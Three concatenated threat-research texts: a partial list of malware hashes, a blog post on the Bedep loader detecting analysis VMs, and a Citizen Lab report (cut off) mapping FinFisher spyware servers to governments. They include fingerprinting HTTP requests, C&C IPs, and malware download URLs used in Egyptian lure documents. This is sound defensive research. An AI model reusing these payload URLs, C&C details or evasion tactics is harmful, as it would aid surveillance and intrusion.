- F4068E3528D7232CCC016975C89937B3C54AD0D1
**Win32/TeleBot:**
- A4F2FF043693828A46321CCB11C5513F73444E34
- 5251EDD77D46511100FEF7EBAE10F633C1C5FC53
- 8D379585E0A9DB4C65450622CED26C108DC694AB
**Win32/PSW.Agent.ODE (CredRaptor):**
- 759DCDDDA26CF2CC61628611CF14CFABE4C27423
- 77C1C31AD4B9EBF5DB77CC8B9FE9782350294D70
- EAEDC201D83328AF6A77AF3B1E7C4CAC65C05A88
- EE275908790F63AFCD58E6963DC255A54FD7512A
- EE9DC32621F52EDC857394E4F509C7D2559DA26B
- FC68089D1A7DFB2EB4644576810068F7F451D5AA
**Win32/Filecoder.NKH:**
- 1C69F2F7DEE471B1369BF2036B94FDC8E4EDA03E
**Python/Filecoder.R:**
- AF07AB5950D35424B1ECCC3DD0EEBC05AE7DDB5E
**Win32/Filecoder.AESNI.C:**
- BDD2ECF290406B8A09EB01016C7658A283C407C3
- 9C694094BCBEB6E87CD8DD03B80B48AC1041ADC9
- D2C8D76B1B97AE4CB57D0D8BE739586F82043DBD
**Win32/Diskcoder.C:**
- 34F917AABA5684FBE56D3C57D48EF2A1AA7CF06D
**PHP shell:**
- D297281C2BF03CE2DE2359F0CE68F16317BF0A86 |
# Bedep has raised its game vs Bot Zombies
**2016-04-14 - Deception**
**Simulacra & Simulation - Jean Baudrillard**
Featured in Matrix
Bedep could be described as a fileless loader with a resident module that can optionally perform AdFraud. It's intimate to Angler EK and appeared around August 2014. On 2016-03-24, I noticed several moves in Bedep.
No more variable in the URI (as several months before), the protocol Key changed and in most of my manual checks, all threads were sending a strange payload in the first stream.
**2ko size for Win7 64bits:**
`80eb8a6aba5e6e70fb6c4032242e9ae82ce305d656b4ed8b629b24e1df0aef9a`
**48ko size for WinXP 32bits:**
`a0fe4139133ddb62e6db8608696ecdaf5ea6ca79b5e049371a93a83cbcc8e780`
Looking at my traffic, I thought for some time that one of the Bedep instances was split in two. Then I understood that I got different results on my "manually" driven VM (on VMWare ESXi) and my automated Cuckoo driven one (on VirtualBox). I suspected it was related to hardening, as this is one of the main differences between those two systems. And I got confirmation. Here is an example on a GooNky malvertising traffic in Australia:
A VM not hardened enough against Bedep got redirected to a "decoy" instance of Bedep that I will refer to as: **Bedep "Robot Town" - 2016-04-12**. Now look what I get instead with a VM that is not spotted as is:
( Vawtrak in that stream: `d24674f2f9879ee9cec3eeb49185d4ea6bf555d150b4e840407051192eda1d61`)
I am not skilled enough to give you the list of checks Bedep is doing. But here is one of them spotted by Cuckoo: **Bedep doing some ACPI checks**. I think there are multiple levels of checks. Some resulting in Bedep not trying to contact the C&C, some where the positive check ends up with a different seed for the Bedep DGA redirecting spotted machines in a dedicated instance. This is quite powerful:
- The checks are made without dropping an executable.
- If you don't know what to expect, it's quite difficult to figure out that you have been trapped.
There are a lot of things that operators can do with this list of known bots and initial Bedep thread ID. One of them is for instance knowing which of the infection paths are researcher/bots "highway":
This could be just a move to perform different tasks (AdFraud only?) on VMs, but my guess is that this Bedep evolution on 2016-03-24 is a fast reaction to this Proofpoint Blog from 2016-03-18 which shows how Bedep threads are additional connectable dots. Sharing publicly is often a difficult decision. The question is which side will benefit the most from it, in the long term.
**For researchers:**
In the last 3 weeks, if your VM has communicated with `95.211.205.228` (which is a Bedep IP from the end of 2015 reused) or (`85.25.41.95` and `http.uri.path "ads.php?sid=1901"`), and you are interested in the "real payload," then you might want to give PAfish a run.
On the other hand, any of your VMs which have communicated with `104.193.252.245` (Bedep "standard" 18xx 19xx instance) since the 24th of March is hardened enough to grab the real payload.
**[Edits]**
- Removed the AU focused mention on the Vawtrak. I have been told (Thanks!) it's US focused. Got geo-glitched. Maybe more about that a day or the other.
- Refined the check conditions for Researchers. IP `85.25.41.95` and `sid=1901`...otherwise...ok :)
**Acknowledgements:**
Thanks Will Metcalf and Malc0de for the discussions and help on this topic.
I'm sorry, but I must do it...Greetings to Angler and Bedep guys. ;) You are keeping us busy...and awake!
**Reading:**
- Video Malvertising Bringing New Risks to High-Profile Sites - 2016-03-18 - Proofpoint
- Bedep’s DGA: Trading Foreign Exchange for Malware Domains - 2015-04-21 - Dennis Schwarz - ArborSert
- Angler EK: now capable of "fileless" infection (memory malware) - 2014-08-30
- Modifying VirtualBox settings for malware analysis - 2012-08-23 - Mikael Keri |
# Pay No Attention to the Server Behind the Proxy: Mapping FinFisher’s Continuing Proliferation
**October 15, 2015**
**Categories:** Adam Senft, Bill Marczak, Irene Poetranto, John Scott-Railton, Reports and Briefings, Research News, Sarah McKune
**Authors:** Bill Marczak, John Scott-Railton, Adam Senft, Irene Poetranto, and Sarah McKune
**Media Coverage:** Associated Press, The Hill, Motherboard, The Daily Caller, Hespress, Washington Post, Quartz, ZDNet, Softpedia, La Prensa Grafica.
This post describes the results of Internet scanning we recently conducted to identify the users of FinFisher, a sophisticated and user-friendly spyware suite sold exclusively to governments. We devise a method for querying FinFisher’s “anonymizing proxies” to unmask the true location of the spyware’s master servers. Since the master servers are installed on the premises of FinFisher customers, tracing the servers allows us to identify which governments are likely using FinFisher. In some cases, we can trace the servers to specific entities inside a government by correlating our scan results with publicly available sources. Our results indicate 32 countries where at least one government entity is likely using the spyware suite, and we are further able to identify 10 entities by name. Despite the 2014 FinFisher breach, and subsequent disclosure of sensitive customer data, our scanning has detected more servers in more countries than ever before.
## Executive Summary
FinFisher is a sophisticated computer spyware suite, written by Munich-based FinFisher GmbH, and sold exclusively to governments for intelligence and law enforcement purposes. Although marketed as a tool for fighting crime, the spyware has been involved in a number of high-profile surveillance abuses. Between 2010 and 2012, Bahrain’s government used FinFisher to monitor some of the country’s top law firms, journalists, activists, and opposition political leaders. Ethiopian dissidents in exile in the United Kingdom and the United States have also been infected with FinFisher spyware.
In 2012 and 2013, Citizen Lab researchers and collaborators published several reports analyzing FinFisher spyware, and conducted scanning that identified FinFisher command and control (C&C) servers in a number of countries. In our previous research, we were not yet able to differentiate between FinFisher anonymizing proxies and master servers, a distinction that we make in this work.
When a government entity purchases FinFisher spyware, they receive a FinSpy Master—a C&C server that is installed on the entity’s premises. The entity may then set up anonymizing proxies (also referred to as “proxies” or “FinSpy Relays” in the FinFisher documentation), to obscure the location of their master. Infected computers communicate with the anonymizing proxy, which is “usually” set up on a Virtual Private Server (VPS) provider in a third country. The proxy then forwards communications between a victim’s computer and the Master server.
We first describe how we scanned the Internet for FinFisher servers and distinguished masters from proxies (Part 1: Fishing for FinFisher). We then outline our findings regarding 32 governments and 10 specific government entities that we believe are using FinFisher (Part 2: Country Findings). Finally, we highlight several cases that illuminate connections between different threat actors (Part 3: A Deeper Analysis of Several Cases), before concluding.
## Part 1: Fishing for FinFisher
In this section, we describe our scans for FinFisher servers, and how we unmasked the true location of the master servers to identify governments using FinFisher.
Each FinFisher sample includes the address of one or more C&C servers that the spyware reports back to. These C&C servers are typically FinSpy Relays, which forward connections back and forth between a device infected with FinFisher, and a FinSpy Master. The purpose of the FinSpy Relay is explicitly to make it “practically impossible” (their emphasis) for a researcher to discover “the location and country of the Headquarters”.
We employed zmap to scan the entire IPv4 Internet (/0) several times since the end of December 2014 and throughout 2015, using a new FinFisher server fingerprint that we devised by analyzing FinFisher samples. Our scans yielded 135 servers matching our fingerprint, which we believe are a mix of FinSpy Masters and FinSpy Relays.
When one queries a FinFisher server, or types the server’s address into a web browser, the server typically returns a decoy page. A decoy page is a page designed to disguise the fact that the server is a spyware server. We found some variation in the decoy pages used by FinFisher servers that we detected, though the bulk used either www.google.com or www.yahoo.com. Peculiarly, FinSpy Relays appear to return decoy pages fetched by their FinSpy Master, rather than directly fetching the decoy pages themselves. Thus, in many cases, the pages returned by the FinSpy Relays contain location data apparently about the FinSpy Master (e.g., certain Google and Yahoo pages embed the requester’s IP address or localized weather), which can reveal the location of FinSpy Masters.
### Okay Google, What is my IP?
We noticed that when we issued a query like “What is my IP address?” to a Google-decoy FinFisher server, the server would respond with a different IP address. In the case below, a FinFisher server 206.190.159.xxx (located in the United States) reported that its IP address was the Indonesian IP 112.78.143.xxx, which matches a FinFisher server first detected in August 2012 by Claudio Guarnieri. We hypothesize that 206.190.159.xxx is a FinFisher proxy, designed to obscure the location of the FinFisher master, which is at 112.78.143.xxx.
### Figure 2: A FinFisher server in the US seems to be a proxy for a master in Indonesia.
Specifically, we sent queries of the form:
```
GET /search?q=my+ip+address&nord=1 HTTP/1.1
Host: [ip of server]
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:38.0) Gecko/20100101 Firefox/38.0
```
The fact that FinFisher proxies can apparently reveal the IP of the master is quite peculiar. We illustrate below how we believe a query like “What is my IP address?” is routed through FinSpy Relays to the FinSpy Master:
### Figure 4: How we believe a “What is my IP address?” query is routed through FinSpy Relays to a FinSpy Master.
It appears that the “What is my IP Address?” query is delivered from our Measurement Machine by the FinSpy Relay to the FinSpy Master, and then submitted to Google by the FinSpy Master. Therefore, Google returns the IP address of the FinSpy Master, which is then sent back to the Measurement Machine via the FinSpy Relay.
### How’s the Weather in Caracas?
A significant number of FinFisher servers we detected used www.yahoo.com as their decoy page. While we were unable to devise a method to find the exact IP address of Yahoo-decoy FinFisher endpoints, we were still able to retrieve location information from Yahoo, by examining the userLocation object in the decoy page’s source code. Yahoo utilizes a user’s location to customize several elements of Yahoo’s homepage, including weather and news.
### Figure 5: Weather conditions in Caracas returned by a FinFisher server in Lithuania.
The userLocation object returned by 185.8.106.xxx (located in Lithuania) is shown below:
```json
"userLocation": {
"woeid": 395269,
"zip": "Caracas",
"city": "Caracas",
"state": "Distrito Federal",
"country": "Venezuela",
"countryCode": "VE"
}
```
### Figure 6: A FinFisher server in Lithuania seems to be a proxy for a master in Venezuela.
The userLocation object allows us to obtain city and country information for FinFisher endpoints, though we cannot determine their precise IP address. We issued a query similar to the following to each Yahoo-decoy FinFisher server to obtain a page with the userLocation object:
```
GET https://www.yahoo.com/ HTTP/1.1
Host: www.yahoo.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:38.0) Gecko/20100101 Firefox/38.0
```
Since Yahoo, like Google, implements SSL redirection by default, we had to devise a method to talk to Yahoo in plain HTTP. While Google provides the “nord=1” URL parameter to avoid SSL redirection, Yahoo apparently does not have an analogous publicized solution. However, we found that by sending plain HTTP GET requests to the resource “https://www.yahoo.com/” we could communicate with www.yahoo.com in plain HTTP without triggering SSL redirection.
### Other Decoys
While the majority of FinFisher servers we detected used either Google or Yahoo as a decoy page, we identified a number of other servers whose operators had apparently customized the decoy page to a different URL. One server used the Italian news source libero.it as a decoy. We noted that libero.it sets the “Libero” cookie, which contains the IP address of the computer that visited the libero.it website. When accessing 185.8.106.xxx, the Libero-decoy FinFisher server, the cookie was set to include the Italian IP 93.146.250.xxx. Servers that we traced to Macedonia used Macedonian newsmagazine time.mk as a decoy. Servers we traced to Taiwan used Taiwanese web portal pchome.com.tw as a decoy. We were unable to trace other servers which used file download site filehippo.com as a decoy. A handful of other untraceable servers returned custom HTML code as a decoy (e.g., a webpage with a META redirect to www.google.com).
This design peculiarity is only the latest instance of fingerprintable anomalies in spyware decoy pages. FinFisher competitor Hacking Team formerly used decoy pages on its C&C server for Remote Control System (RCS), but apparently removed them after our research revealed that anomalies in the decoy pages could be used to fingerprint RCS servers. We have also previously used decoy pages to fingerprint FinFisher servers. We believe that FinFisher or its clients may also be realizing that decoy pages are problematic, as we have observed fewer FinFisher servers returning decoy pages over time.
## Part 2: Country Findings
In this section, we provide a list of likely FinFisher government users identified by our scans, and also map out which FinSpy relays serve which FinSpy Masters.
Below, we identify 33 likely government users of FinFisher in 32 countries, based on the presence of a FinFisher master at an IP address in a country or belonging to a specific government department.
### Figure 8: Suspected FinFisher government users that were active at some point in 2015.
In presenting our scan results, we do not wish to disrupt or interfere with legitimately sanctioned investigations or other activities. Instead, we hope to ensure that citizens have the opportunity to hold their governments transparent and accountable. To this end, we identify government users, but redact certain details we have discovered about their infrastructure whose disclosure might interfere with legitimately sanctioned activities. Redacted details include the last octet of live IP addresses, and part of live domain names. Appendix A contains a full list of countries and servers.
| Country | Specific entity if known |
|---------|--------------------------|
| Angola | |
| Bangladesh | Directorate General of Forces Intelligence (DGFI) |
| Belgium | Federal Police |
| Bosnia and Herzegovina | |
| Czech Republic | |
| Egypt | Technology Research Department (TRD) |
| Ethiopia | |
| Gabon | |
| Indonesia | 1. National Encryption Body (Lembaga Sandi Negara) 2. Unknown other entities |
| Italy | Unknown multiple entities |
| Jordan | |
| Kazakhstan | |
| Kenya | National Intelligence Service (NIS) |
| Lebanon | 1. General Directorate of General Security 2. Internal Security Forces (ISF) |
| Macedonia | |
| Malaysia | |
| Mexico | |
| Mongolia | Special State Security Department (SSSD) |
| Morocco | 1. Conseil Superieur De La Defense Nationale (CSDN) 2. Unknown other entities |
| Nigeria | Unknown multiple entities |
| Oman | |
| Paraguay | |
| Romania | |
| Saudi Arabia | |
| Serbia | Security Information Agency (BIA) |
| Slovenia | |
| Spain | |
| Taiwan | |
| Turkey | |
| Turkmenistan | |
| Venezuela | |
| South Africa | |
The following is a list of countries where neither our previous research nor documents disclosed by Wikileaks had previously found evidence of a FinFisher deployment: Angola, Egypt, Gabon, Jordan, Kazakhstan, Kenya, Lebanon, Morocco, Oman, Paraguay, Saudi Arabia, Slovenia, Spain, Taiwan, Turkey, and Venezuela.
In the diagram below, we map out FinFisher proxy networks: the FinSpy Relay servers we found, and the FinSpy Masters to which we linked them:
### Figure 9: Links we established between FinSpy Relays and FinSpy Masters.
Given previous reports that observed weaknesses in certain cryptography that FinFisher uses to transmit information from an infected device to the FinSpy master, locating FinFisher collection infrastructure in another country could potentially invoke concerns about “fourth party” collection, where a government collects data collected by another government’s surveillance operation. We have also previously identified potential legal concerns regarding locating relays in other countries.
### Attribution to Specific Entities
We attributed some FinFisher Master servers to specific government entities by correlating our scan results with publicly available data, including emails from FinFisher’s competitor Hacking Team. This section briefly describes how we identified these entities, and summarizes what is publicly known about their functions. While we do not provide a vignette for each country where we have identified FinFisher, we note that a number of countries have dubious or problematic histories of oversight of the security services.
#### Bangladesh: Directorate General of Forces Intelligence (DGFI)
Our investigation uncovered a FinFisher server at an IP address in the same /30 as the mail server for Bangladesh’s DGFI, [redacted].dgfi.gov.bd. Additionally, leaked Hacking Team emails claim that Bangladesh’s DGFI is a FinFisher customer. Established in 1976, the Directorate General of Forces Intelligence (DGFI) is Bangladesh’s military intelligence agency. The director of the agency holds the rank of Lieutenant General or Major General and directly reports to the Prime Minister. In a report published in 2008, Human Rights Watch associated the DGFI with long-standing human rights violations (e.g., torture and extrajudicial killings) and the stifling of political opposition in the country. The US State Department has reported that the DGFI has previously conducted surveillance on citizens for their criticism of the government. Leaked emails show that DGFI officials were engaged in discussions with FinFisher’s competitor Hacking Team in June 2014.
#### Belgium: Federal Police Service
Our investigation found a FinFisher server in a /28 assigned to Belgacom, denoted “SKY-5904592 / SOCC-2131136.” This range of IP addresses also contained several servers returning SSL certificates issued by and to “Federal Police.” Two IP addresses in this range were also pointed to by two subdomains of raspol.be, a domain name registered to “Massimo Moschettini / ISRD NTSU / Police Fédérale.” Belgium’s Federal Police Service was established in January 2001. The agency is headed by a General Commissioner who coordinates the work of five general directorates, including administrative police, judicial police, operational support, logistics, and human resources, as well as several departments that report directly to him/her. Leaked Hacking Team emails have revealed the company’s participation in a tender for “tactical interception of communications via computer systems” by the Belgian Federal Police.
#### Serbia: Security Information Agency (BIA)
Our investigation found a FinFisher server in the same /26 as bia.gov.rs, the website of Serbia’s Security Information Agency (BIA). The server was also in the same /28 as a computer that identified itself to Shodan as “DPRODAN-PC”. According to the leaked Hacking Team emails, a person with the email dprodan@open.telekom.rs contacted Hacking Team in reference to a February 8, 2012 demo in Belgrade. From February 7-9, 2012, Hacking Team was in Belgrade to give a demo to a potential client, Vladimir Djokic, who worked for the BIA according to his email address vladimirdj@bia.gov.rs. Thus, we believe “dprodan” is also a BIA employee, and the FinFisher server we found belongs to the BIA. Serbia’s Security Information Agency (BIA) was created in 2002 by the Law on the Security Information Agency. BIA is a civil national security service and a part of the security-intelligence system of the Republic of Serbia. While the BIA is generally regarded as operating with appropriate oversight and as being free from major abuses, some elements of its electronic surveillance practices have been challenged. Prior to 2014, the Law on the Security Information Agency was considered to be not in compliance with the constitution. In 2012, a constitutional court struck down several provisions of the Law on the Security Information Agency, ruling that Articles 13, 14 and 15 of the Law, which govern the wiretapping of private communications, were unconstitutional. The court ruled that these Articles were “not formulated clearly and precisely enough” and that citizens are “thus prevented from ascertaining which legal rule will be applied in the given circumstances and are thus deprived of the possibility to protect themselves from inadmissible restrictions of their right or arbitrary interference in their right to respect of their private life and correspondence.” Further, measures related to the ability of the BIA’s Director to authorize wiretapping in some circumstances without a court order were also challenged. The court delayed its decision in order to give legislators the opportunity to revise the offending Articles in the Law. The amendments to the Law were adopted in June 2014. While acknowledged as a positive step, these amendments have been criticized as remaining “insufficient to fully democratize surveillance that is carried out by the BIA.” Leaked emails indicate that members of the Security Information Agency and the Ministry of Defense engaged in purchase negotiations with FinFisher’s competitor Hacking Team.
#### Egypt: Technology Research Department
We found a FinFisher server at IP address 62.114.252.xxx. We also found an email in the leaked Hacking Team emails that, according to the headers, was sent from the same IP address. The email was sent by Hacking Team employee Davide Romualdi on June 25, 2015, when he was scheduled to be performing delivery in Egypt for Hacking Team customer TREVOR, identified as the TRD (Technology Research Department). Thus, we believe the email was sent from the premises of the TRD, and the IP address 62.114.252.xxx belongs to the TRD. Egypt’s troubling human rights situation has continued to deteriorate under President Abdel Fattah al-Sisi. In recent years, cases of mass arrests, significant violence against protesters and due process violations have increased. Numerous Egyptian security agencies are permitted to conduct electronic surveillance, frequently with limited court oversight. In some cases, personal data improperly collected from civil society actors has led to their arrest and imprisonment. While there is limited open source information available about the activities of the Technology Research Department, we closely examine a malware campaign linked to TRD infrastructure in Part 3 of this report.
#### Indonesia: National Encryption Body (Lembaga Sandi Negara)
Two of the FinFisher servers we found in Indonesia were in the same /28. We found an IP address in this same /28 included in the headers of an email sent by a Hacking Team employee while he was in Indonesia performing a demo for the National Encryption Body. The email was sent at 12:39 PM Jakarta time on February 6, 2013, and a meeting at the agency was set for 10:00 AM on the same day. Thus, it seems probable that the email was sent from the premises of the National Encryption Body, and that the two FinFisher servers belong to the same organization. The National Encryption Body is an agency headed by a director, who has the same stature as a minister and reports directly to the President. In a recent interview, the Body’s current director, Major General Djoko Setyadi, describes the agency’s responsibilities as, among others, securing state secrets and decrypting/decoding communication from would-be terrorists. The threat of terrorism is a concern for Indonesia. Several bombing incidents have occurred in the country, including two Western hotels in the capital city of Jakarta in 2009. As the world’s largest Muslim-majority country, the emergence of the Islamic State of Iraq and the Levant (ISIL or ISIS) has also resulted in concerns that their militant ideology will gain ground. It is believed that as many as 200 Indonesian citizens have headed to Syria to fight with ISIS. Challenges from restive regions like Papua and Central Sulawesi are also ongoing. There are fears that the fight against these threats may be used as justification to perpetrate human rights abuses, such as to target others for their religious or political beliefs and to kill suspected militants unlawfully. In a 2013 Citizen Lab report, we identified at least twelve laws, two government regulations, and two ministerial regulations that govern wiretapping and interception in Indonesia. Although wiretapping and interception are helpful, and sometimes even necessary to expose crimes such as terrorism, drug trafficking and corruption, the lack of comprehensive legislation regulating their use in Indonesia means that there is an increased risk for misuse and privacy violations.
#### Kenya: National Intelligence Service
We found a FinFisher server in a range of IP addresses registered to a Kenyan user named “National Security Intelligence.” Kenya’s National Intelligence Service (NIS) was formerly known as the National Security Intelligence Service (NSIS). Kenya’s NSIS replaced the former Directorate of Security Intelligence (DSI), commonly known as the “Special Branch.” The NIS is known as one of Kenya’s security institutions with the biggest budgetary allocation—along with the Kenya National Defence Forces and the National Police Service—and considered to be among the country’s critical security organs in the new constitution. In 2014, Human Rights Watch named the NIS, as well as the Anti-Terrorism Police Unit and other Kenyan intelligence agencies, as being implicated in abuses including torture, disappearances, and extrajudicial killings. The powers of the NIS were expanded significantly in December 2014 when the Parliament of Kenya rushed to pass the controversial Security Laws (Amendment) Bill. The amendments came following a series of deadly terrorist attacks by the militant group al-Shabab, including the 2013 killing of 67 people at the Westgate shopping mall in Nairobi. This bill expanded the powers of the NIS to monitor communications without a warrant, as well as expanding their powers to search and seize private property. Article 62 of the amended bill authorized NIS agents to “do anything necessary to preserve national security” and to detain individuals on simply the suspicion of engaging in acts which pose a threat to national security. Section 66 of the bill amended the National Intelligence Services Act, permitting the Director General of the NIS to monitor communications or “obtain any information, material, record, document or thing” in order to protect national security, without court oversight, leading rights organization Article 19 to argue that the amendment “effectively [gives] carte blanche to the Director-General to order mass surveillance of online communications.” While a court ruling in February 2015 struck down some provisions of the amendment, the provisions enhancing the powers of the NIS remained.
#### Lebanon: General Directorate of General Security
We found a FinFisher server in a range of IP addresses registered to a Lebanese user named “General_Security.” We assume that “General_Security” is a reference to the General Directorate of General Security. Lebanon’s General Directorate of General Security was established in 1921 under Decree No. 1061. The functions of the General Security include collecting and gathering intelligence, monitoring the media, and issuing passports and travel documents to Lebanese citizens. The organization is categorized as a general directorate under the supervision of the Ministry of Internal Affairs. Although Lebanon has legislation (Law No. 140) which establishes safeguards and oversight protecting electronic communications from unlawful surveillance, there is a systemic practice of this law being ignored. Privacy International has criticized the surveillance practices of Lebanon’s intelligence agencies, suggesting that the agencies, including the General Directorate of General Security, operate without sufficient independent oversight, and that a lack of trust between different agencies leads the groups to operate their own operations out of view of the Ministry of the Interior. Controversies surrounding government surveillance practices have become particularly salient in the wake of several recent high-profile assassinations, including the 2005 killing of Prime Minister Rafik Hariri. Organizations investigating the assassinations have had “unregulated access to the data of private citizens,” including mobile phone records, which raises privacy concerns.
### Internal Security Forces
We found a FinFisher server at a Lebanese IP address that was formerly pointed to by what was apparently a mail server with domain “[redacted].intelligence.isf.gov.lb” in 2012. We assume that the IP still belongs to the Internal Security Forces (ISF). The Internal Security Forces (ISF) are the national police and security force of Lebanon. The ISF’s creation was mandated by Decree 138 in 1959. Throughout its history, the ISF has had a troubled record of human rights abuses, in spite of recent efforts to promote proper conduct within the organization. In consultation with the UN Human Rights Office, the ISF adopted a January 2012 code of conduct designed to ensure the forces’ operations guaranteed respect for human rights and public freedoms, including “refraining from resorting to torture, cruel, inhumane and degrading treatment.” However, a number of incidents in recent years have called into questions the effectiveness of this code of conduct. An extensive Human Rights Watch report in 2013 detailed dozens of instances of vulnerable individuals subject to physical abuse, torture and sexual assault at the hands of ISF officials. In June 2015, five ISF officers were arrested after videos released on social media showed the officers beating prisoners. The ISF and other state agencies have summoned and questioned bloggers, journalists, and activists over social media and blog posts critical of politicians. The organization also has a history of overreach in the collection of Lebanese citizens’ private user data. In 2012, it was reported that the ISF had requested that the Ministry of Telecommunications turn over the content of all SMS text messages sent over a two month span for all users in Lebanon, followed later by a request for Lebanese users’ login credentials for BlackBerry Messenger and Facebook. The request was made following the assassination of the ISF’s Information Branch head Wissam al-Hassan, and was rejected by the Ministry.
#### Morocco: Conseil Superieur De La Defense Nationale (CSDN) / Supreme Council of National Defense
We found a FinFisher server in a range of IP addresses registered to a Moroccan user named “Conseil Superieur De La Defense Nationale.” We assume that this is a reference to the eponymous agency. There is limited open source information available about the activities of the CSDN. Leaked Hacking Team emails indicate that the CSDN—among other Moroccan Government agencies—was a customer of FinFisher’s competitor Hacking Team. In 2012, spyware from Hacking Team was used against Mamfakinch, an award-winning group of Moroccan citizen journalists. Privacy International released a report detailing the impact of surveillance on the group, as well as other political activists and journalists.
#### Mongolia: State Special Security Department (SSSD)
We found a FinFisher server at a Mongolian IP address in the same /28 as an IP address pointed to by the domain “td.sssd.mn.” We believe that “SSSD” is a reference to the Mongolian agency of the same name. We also found what appears to be a test or demonstration FinFisher sample, whose bait content includes emails apparently between Gamma Group and Mongolia’s SSSD, discussing a visit by Gamma personnel to Mongolia. There is limited open source information available about the SSSD; however, leaked emails from the spyware firm Hacking Team indicate that in 2012 the company was in contact with members of the SSSD. Additional leaked emails from 2013 indicate that Hacking Team scheduled a product demonstration with the SSSD in April 2013.
## Part 3: A Deeper Analysis of Several Cases
The following section provides additional details for several countries.
### Egypt: Use of FinFisher illuminates connections between different groups
We noted an interesting connection between Egypt’s Technology Research Department (TRD) and two other malware groups in the region: MOLERATS, and an as-yet uncharacterized group. We have previously observed both groups targeting UAE-based activists.
#### MOLERATS Attacks with FinFisher
We found an Egypt FinFisher sample, Egyptian_army.rar, hosted on google.wwwhost.biz.
```
SHA256: 1610fc805f980f5c70cec8e138ba800b01ebc86919f42b375cfb161ce6365a48
Filename: Egyptian_army.rar
```
Extracting the .rar file yields an .exe file.
```
SHA256: 94abf6df38f26530da2864d80e1a0b7cdfce63fd27b142993b89c52b3cee0389
Filename: ﺔﻠﻬﻤﻟا ءﺎﻀﻘﻧا ﺪﻌﺑ ﺶﻋاد ﺪﻳ ﻰﻠﻋ ﺔﺒﺳﺎﺴﻜﻟا ﺢﺑذ رﻮﺻ.exe
```
The name of the .exe file promises pictures of Jordanian Air Force pilot burned alive by ISIS, a popular news story at the time. We suspect that the domain name google.wwwhost.biz is linked to MOLERATS, a threat actor active in the Middle East region that appears to engage in politically motivated targeting. We describe the link below:
google.wwwhost.biz had IP address 200.74.241.111 at the same time as info.dynamic-dns.net, which also had IP address 192.161.48.59, shared with update.ciscofreak.com, which also had IP address 162.220.246.117. This IP address is linked to several known MOLERATS domains, like natco{1,2,3,4,5}.no-ip.net, and uae.kim. google.wwwhost.biz also hosted two DarkComet samples, which communicated with r.ddns.me, which shared IP address 198.105.125.158 with a.ddns.me, which shared IP address 23.229.3.37 with several known MOLERATS domains, like test.cable-modem.org. google.wwwhost.biz also hosted a GMail phishing page, 64c1ef8e0923bf44aaa96caeb28a6c11, also hosted by googlecombq6xx.ddns.net, which shared IP address 131.72.136.28 with tvnew.otzo.com, which shared IP address 172.227.95.162 with several known MOLERATS domains, like natco{1,2,3,4}.no-ip.net and uae.kim. google.wwwhost.biz served a Hotmail phishing page, 57ab5f60198d311226cdc246598729ea, also served by google.com.r3irv2ykn0qnd7vr7sqv7kg2qho3ab5tngl5avxi5iimz1jxw9pa9.uae.kim; uae.kim is a known MOLERATS domain.
A significant portion of MOLERATS bait content we have observed indicates targeting of Israel and “political Islam” groups like Hamas. This MOLERATS activity could be accounted for by any number of intelligence agencies active in the region, or a Palestinian faction, but it is also possible that MOLERATS is a multi-faceted group with several interests and/or clients. That MOLERATS apparently used spyware linked to the TRD suggests a possible connection between the TRD and MOLERATS.
### The Curious Case of the Shared Exploit
We identified the following Word document uploaded to VirusTotal:
```
SHA256: 22deea26981bc6183ac3945da8274111e7fd7a35fbb6da601348cc6d66240114
Filename: ﺔﻳﺎﻐﻠﻟ يﺮﺳ ﺮﻳﺮﻘﺗ.doc
```
The document, whose name translates to “A Highly Classified Report” downloads a FinFisher sample from http://workingulf.net/DFServ.exe.
```
SHA256: e2ecf89a49c125e0b4292645a41b5e97c0f7bf15d418faeac0d592205f083119
Filename: DFServ.exe
```
The sample communicates with 50.31.252.xxx and 95.170.82.xxx, which are proxies for 62.114.252.xxx, the FinFisher Master we associated with Egypt’s TRD. The domain workingulf.net appears to be connected to the TRD, because it is linked to a cluster of other domains, several of which were used to distribute TRD FinFisher samples.
We developed a fingerprint for the exploit, based on the presence of a 1.1MB binary embedded in the Word Document. A week later, we identified another instance of this same exploit (the binary was the same).
```
SHA256: d759dcbebee18a65fda434ba1da5d348c16d9d3775fe1652a1dacf983ffc93b8
Filename: تاﺪﺠﺘﺴﻤﻟا.doc
```
This instance downloaded spyware from http://wp.piedslibres.com/wp/wp-includes/js/Next.scr.
```
SHA256: 08b32da8995ae094bfb703d7d975c3816cf04c075c32281e51158164d76cd655
Filename: Next.scr
```
Next.scr is a bespoke malware that exfiltrates system information and files via email. The malware logs into an email account on the C&C server via SMTP, and sends mail to another account on the same server. We have seen C&Cs including: pal4u.net, pal2me.net, and shop8d.net. All of the domains have similar registrant information, indicating the work of a single group. The group appears to be based in Palestine. The use of a shared exploit suggests some link between the TRD and this group.
### FinFly Web in the Wild
We traced workingulf.net to a number of other domain names, including news-youm7.com.
We found a FinFly Web sample at http://videos.news-youm7.com/youm7/videos/5671264.html. FinFly Web is a FinFisher product that allows customers to create a website to infect targets with spyware. We identified the sample as FinFly Web given substantial similarity with leaked FinFly Web code.
### Figure 11: The FinFly Web page, asking users to install Adobe Reader XI. The download link points to a FinFisher spyware sample.
The FinFly Web page appears to have a number of deficiencies. The attacker appears to have copied a page from the website of Egyptian newspaper Youm7, which appears in the background of the Adobe Reader popup. The attacker apparently did not notice that the paths to the CSS resources are relative. Thus, the attack page tries to fetch CSS stylesheets and images from the attack site, rather than the legitimate page. Since the attacker neither copied these resources to the attack site, nor changed the relative paths to point to the legitimate site, the attack page looks malformatted. The attacker made the same mistake with the news ticker IFRAME, resulting in the “Not Found” message in the background. Also, the attacker entitled the page “Video: Islamic State Enters Egypt,” but created a popup to install Adobe Reader, which is Adobe’s product for viewing PDF files. It is likely that the attacker instead wanted to create a popup to install Adobe Flash, a plugin for viewing web videos. Additionally, the download link points to a .rar file, which is suspicious as Adobe does not distribute its products in .rar files. Finally, the .exe inside the .rar file is not melded with the Adobe Reader setup program, so a victim who executes the file may become suspicious when no Adobe setup program runs.
### Italy: Shift from Hacking Team to FinFisher?
We identified one IP address in Italy (2.228.65.xxx) which served as a FinFisher server from 2014 to present. Earlier in 2014, and before our publication of our report on Hacking Team, the same IP address instead matched our fingerprint for Hacking Team spyware servers. This might indicate an Italian government agency switching from Hacking Team to FinFisher.
### Oman: Eagle Eye Digital Solutions LLC
